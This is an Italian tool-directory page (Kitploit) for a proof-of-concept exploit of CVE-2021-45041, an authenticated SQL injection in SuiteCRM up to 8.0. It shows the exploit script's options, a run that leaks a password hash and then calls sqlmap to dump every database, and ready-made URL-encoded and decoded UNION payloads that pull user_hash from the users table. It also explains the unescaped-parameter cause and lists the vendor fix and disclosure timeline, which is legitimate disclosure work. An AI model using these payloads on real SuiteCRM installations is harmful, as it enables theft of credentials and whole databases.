Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-45041 — PoC per CVE-2021-45041 | Kitploit
Strumenti/GitHubGitHub/manuelz120/cve-2021-45041
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubmanuelz120/cve-2021-45041

CVE-2021-45041

PoC per CVE-2021-45041

Vedi Repository
324 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2021-45041

PoC per CVE-2021-45041 aka SCRMBT-#177 - SQL-Injection autenticata in SuiteCRM <= 8.0

Utilizzo

Opzioni:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT          Root dell'installazione di SuiteCRM. Default:
                           http://localhost
  -u, --username TEXT      Nome utente
  -p, --password TEXT      Password
  -c, --col_count INTEGER  Numero di colonne da usare nella query UNION.
                           Default: 44
  -d, --dbms TEXT          DBMS usato da SuiteCRM. Default: mysql
  -d, --is_core BOOLEAN    SuiteCRM Core (>= 8.0.0). Default: False
  --help                   Mostra questo messaggio e termina.

  https://github.com/manuelz120/CVE-2021-45041

Esempio di utilizzo:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:Login riuscito - Provo a far trapelare l'hash utente per verificare se SuiteCRM è vulnerabile
INFO:CVE-2021-45041:Hash ricevuto: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:Se questo non assomiglia a un hash della password, l'exploit potrebbe non funzionare correttamente
INFO:CVE-2021-45041:Lancio sqlmap contro il target per ottenere il dump completo del DB
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.12#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] avviso legale: l'uso di sqlmap per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per eventuali usi impropri o danni causati da questo programma

[*] avvio alle 21:42:51 /2021-12-27/

marcatore di iniezione personalizzato ('*') trovato nell'opzione '-u'. Vuoi elaborarlo? [Y/n/q] Y
[21:42:51] [INFO] test della connessione all'URL di destinazione
sqlmap ha ripreso i seguenti punti di iniezione dalla sessione salvata:
---
Parameter: #1* (URI)
    Type: query UNION
    Title: query UNION generica (NULL) - 44 colonne (personalizzata)
    Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] test MySQL
[21:42:52] [INFO] conferma MySQL
Hai fornito un valore per l'header HTTP Cookie, mentre l'URL di destinazione fornisce i propri cookie tramite l'header HTTP Set-Cookie che si sovrappongono ai tuoi. Vuoi unirli nelle richieste successive? [Y/n] Y
[21:42:52] [INFO] il DBMS backend è MySQL
tecnologia applicazione web: Apache 2.4.51
DBMS backend: MySQL >= 5.0.0 (fork MariaDB)
[21:42:52] [INFO] sqlmap scaricherà ora le voci di tutte le tabelle da tutti i database
[21:42:52] [INFO] recupero dei nomi dei database
...

Spiegazione

Recentemente ho scoperto una SQL-Injection autenticata in SuiteCRM. Sono stato in grado di verificare la vulnerabilità nelle versioni 8.0 e 7.12.1. La vulnerabilità si trova nell'azione Tooltips del modulo Project. In un'installazione predefinita, qualsiasi utente può chiamare questa azione accedendo al seguente URL (per la versione 8 aggiungere il prefisso /legacy):

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test

Se osserviamo l'implementazione di questa azione (vedi https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513), possiamo vedere che i valori vengono presi direttamente da $_REQUEST senza alcuna sanificazione aggiuntiva, e successivamente utilizzati nella clausola where della query.

funzione vulnerabile

Sebbene non possiamo usare gli apici singoli a causa della codifica delle entità HTML, questo è comunque sfruttabile poiché ci sono molteplici punti di iniezione. Se specifichiamo un resource_id che termina con una barra rovesciata (\), il successivo apice singolo verrà escaped e la stringa sarà terminata solo dall'apice singolo dopo la parola chiave BETWEEN. Questo significa che qualunque cosa il client invii come start_date verrà trattata come puro SQL e può essere utilizzata per effettuare un attacco di SQL-Injection.

Ecco un PoC minimale che fa trapelare l'hash della password di un utente:

Versione 7.12.1:

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

Versione 8.0:

/legacy/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

Versione URL Decodificata:

root@kitploit:~
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

PoC

Fix implementato

Subito dopo la mia segnalazione, sono state rilasciate nuove versioni di SuiteCRM (7.12.2 e 8.0.1), contenenti il seguente fix:

https://github.com/salesagility/SuiteCRM/commit/0201c36b1468a16eb89218e7c798cf0ce2adac5c?diff=unified#diff-cb8e700b4303102f82ba718a035794422b23769c3140a46f77285a268f14232aL489-L496

Cronologia

  • 13/12/2021: Vulnerabilità scoperta e segnalata a SuiteCRM
  • 14/12/2021: Vulnerabilità confermata dal venditore (SalesAgility)
  • 17/12/2021: Rilascio delle versioni corrette (SuiteCRM 7.12.2 e SuiteCRM 8.0.1)

Crediti

  • SQLMap
  • Click
  • BeautifulSoup
Scarica lo strumento